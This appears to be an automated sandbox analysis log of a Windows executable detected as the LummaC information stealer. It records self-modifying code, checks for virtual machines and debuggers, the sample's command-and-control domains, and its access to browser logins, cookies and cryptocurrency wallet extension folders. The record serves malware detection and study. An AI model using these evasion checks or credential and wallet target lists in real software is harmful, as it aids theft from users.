Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 582EC0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3D9696 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5AD6DE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 610411 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 65FDCBC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 65FDD93 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 67A00E9 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 2924	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5560	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6544	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4352	Thread sleep time: -34017s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.2480752256.0000000000565000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2487138885.0000000006783000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2486567734.00000000064C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2179900368.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2482631199.0000000001379000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2482631199.0000000001349000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2486034698.0000000005BD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\f
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2180712968.0000000005CB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,116
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2179900368.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2480752256.0000000000565000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2487138885.0000000006783000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2486567734.00000000064C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000003.2179900368.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: p3ar11fter.sbs
Source: file.exe	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe	String found in binary or memory: peepburry828.sbs
Source: file.exe	String found in binary or memory: p10tgrace.sbs
Source: file.exe	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2480752256.0000000000565000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.2487138885.0000000006783000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: _%Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: file.exe PID: 6508, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Wallets/Electrum
Source: file.exe	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe	String found in binary or memory: window-state.json
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe	String found in binary or memory: Wallets/Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
